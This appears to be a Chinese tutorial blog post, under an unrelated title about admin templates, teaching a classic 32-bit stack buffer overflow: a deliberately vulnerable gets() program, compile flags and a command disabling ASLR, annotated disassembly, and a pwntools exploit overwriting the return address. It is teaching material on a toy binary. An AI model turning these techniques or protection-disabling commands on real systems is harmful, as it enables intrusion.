h5網(wǎng)站后臺(tái)管理模板培訓(xùn)課程開發(fā)
文章目錄
- 前言
- 一、基本示例
- 二、分析棧
- 1. 先不考慮gets函數(shù)的棧情況
- 2. 分析gets函數(shù)的棧區(qū)情況
- 三、利用棧
- 1. 構(gòu)造字符串
- 2. 利用漏洞
前言
棧溢出指的是程序向棧中某個(gè)變量中寫入的字節(jié)數(shù)超過了這個(gè)變量本身所申請的字節(jié)數(shù),因而導(dǎo)致與其相鄰的棧中的變量的值被改變。這種問題是一種特定的緩沖區(qū)溢出漏洞,類似的還有堆溢出,bss 段溢出等溢出方式。
一、基本示例
最典型的棧溢出利用是覆蓋程序的返回地址為攻擊者所控制的地址,當(dāng)然需要確保這個(gè)地址所在的段具有可執(zhí)行權(quán)限。
#include <stdio.h>
#include <string.h>void success(void)
{puts("You Hava already controlled it.");
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}
這個(gè)程序的主要目的讀取一個(gè)字符串,并將其輸出。我們希望可以控制程序執(zhí)行 success 函數(shù)。
我們進(jìn)行編譯:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
編譯器會(huì)警告gets函數(shù),因?yàn)樗且粋€(gè)危險(xiǎn)函數(shù),從不檢查輸入字符串的長度。
gcc 編譯指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不開啟堆棧溢出保護(hù),即不生成 canary。 此外,為了更加方便地介紹棧溢出的基本利用方式,這里還需要關(guān)閉 PIE(Position Independent Executable),避免加載基址被打亂。
修改/proc/sys/kernel/randomize_va_space
來控制 ASLR 啟動(dòng)與否,具體的選項(xiàng)有
- 0,關(guān)閉 ASLR,沒有隨機(jī)化。棧、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。?;刂贰map 基地址、.so 加載基地址都將被隨機(jī)化,但是堆基地址沒有隨機(jī)化。
- 2,增強(qiáng)的 ASLR,在 1 的基礎(chǔ)上,增加了堆基地址隨機(jī)化。
echo 0 > /proc/sys/kernel/randomize_va_space 關(guān)閉 Linux 系統(tǒng)的 ASLR
利用 IDA 來反編譯一下二進(jìn)制程序并查看 vulnerable 函數(shù) 。
int vulnerable()
{char s; // [sp+4h] [bp-14h]@1gets(&s);return puts(&s);
}
public vulnerable
.text:000011D8 vulnerable proc near ; CODE XREF: main+10↓p
.text:000011D8
.text:000011D8 s = byte ptr -14h ; 在棧上分配一個(gè)名為 's' 的局部緩沖區(qū),大小為 20 字節(jié)(0x14h)
.text:000011D8 var_4 = dword ptr -4 ; 一個(gè)名為 'var_4' 的局部變量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8 push ebp ; 保存上一個(gè)棧幀的基指針
.text:000011D9 mov ebp, esp ; 為當(dāng)前棧幀設(shè)置新的基指針
.text:000011DB push ebx ; 保存 EBX 寄存器的值(調(diào)用者保存寄存器)
.text:000011DC sub esp, 14h ; 在棧上為局部緩沖區(qū) 's' 分配 20 字節(jié)的空間
.text:000011DF call __x86_get_pc_thunk_bx ; 獲取指令地址,然后jmp
.text:000011E4 add ebx, 2DF0h ; 調(diào)用者改變 EBX 寄存器的值
.text:000011EA sub esp, 0Ch ; 調(diào)用約定,清理?xiàng)?.text:000011ED lea eax, [ebp+s] ; 將 's' 的地址加載到 EAX
.text:000011F0 push eax ; 將 's' 的地址作為參數(shù)推入棧中,供 gets() 使用
.text:000011F1 call _gets ; 調(diào)用 gets() 讀取字符串到 's'(存在緩沖區(qū)溢出風(fēng)險(xiǎn))
.text:000011F6 add esp, 10h ; 調(diào)用約定,清理?xiàng)?.text:000011F9 sub esp, 0Ch ; 調(diào)用約定,平棧
.text:000011FC lea eax, [ebp+s] ; 再次將 's' 的地址加載到 EAX
.text:000011FF push eax ; 將 's' 的地址作為參數(shù)推入棧中,供 puts() 使用
.text:00001200 call _puts ; 調(diào)用 puts() 打印字符串
.text:00001205 add esp, 10h ; 調(diào)用約定,清理?xiàng)?.text:00001208 nop
.text:00001209 mov ebx, [ebp+var_4]; 恢復(fù)保存的 EBX 寄存器值
.text:0000120C leave ; 清理?xiàng)?#xff08;相當(dāng)于 'mov esp, ebp' 后跟 'pop ebp')
.text:0000120D retn ; 從函數(shù)返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable endp
其實(shí)看匯編代碼比較好理解點(diǎn),如果有閱讀障礙,建議出門右轉(zhuǎn)C/C++學(xué)習(xí)中的函數(shù)調(diào)用機(jī)制和調(diào)用約定。
二、分析棧
我們只分析開始到gets函數(shù)調(diào)用完的棧。
1. 先不考慮gets函數(shù)的棧情況
未調(diào)用vul函數(shù)
調(diào)用vul函數(shù),保存原來的EIP
PUSH EBP
MOV EBP,ESP
PUSH EAX
SUB ESP,14H
ADD ESP,OCH
PUSH EAX
ADD ESP,10H ,SUB ESP,0CH
2. 分析gets函數(shù)的棧區(qū)情況
那么我們從將s的地址賦給EAX開始分析。
然后調(diào)用 gets() 讀取字符串到 ‘s’。這里要知道,緩沖區(qū)填充數(shù)據(jù)是由低往高地址增長。
而EBP到EBP-14H這塊緩沖區(qū)域,在上面圖,自然是從上往下填充數(shù)據(jù)的。
這就有個(gè)問題了,如果把EBP到EBP-14H這塊緩沖區(qū)區(qū)域填充滿,并繼續(xù)填數(shù)據(jù),會(huì)發(fā)生什么?
很自然,就是把后面的區(qū)域也給覆蓋了。這就是所謂的棧溢出。
三、利用棧
1. 構(gòu)造字符串
那么我們就知道如何利用所謂的棧溢出了。如果EBP開辟的局部變量區(qū)域,填充滿,然后用雙字填充EBP的保存地址,再用suceess的地址覆蓋掉原來的返回地址。然后gets調(diào)用完,返回的地址就是suceess的地址。
那么我們要構(gòu)造的字符串為:
0x14*'a'+'bbbb'+success_addr
當(dāng)然如果是局部變量溢出的話,覆蓋的順序應(yīng)該先為返回地址然后才是EBP。
局部變量區(qū)域是由ESP和EBP往高地址開辟的,而緩沖區(qū)是由ESP和EBP往低地址開辟的,有所區(qū)別。
2. 利用漏洞
我們可以通過 IDA 獲得 success 的地址,其地址為 0x08049186。
這里稍微注意下,一般情況以小端存儲(chǔ),那么 0x000011AD 在內(nèi)存中的形式為:
\x86\x91\x04\x08
在終端輸入的時(shí)候 \x 等也算一個(gè)單獨(dú)的字符。時(shí)我們就需要使用 pwntools 。
于是Payload如下:
##coding=utf8
from pwn import *
## 構(gòu)造與程序交互的對象
sh = process('./stack_example')
success_addr = 0x08049186
## 構(gòu)造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序發(fā)送字符串
sh.sendline(payload)
## 將代碼交互轉(zhuǎn)換為手工交互
sh.interactive()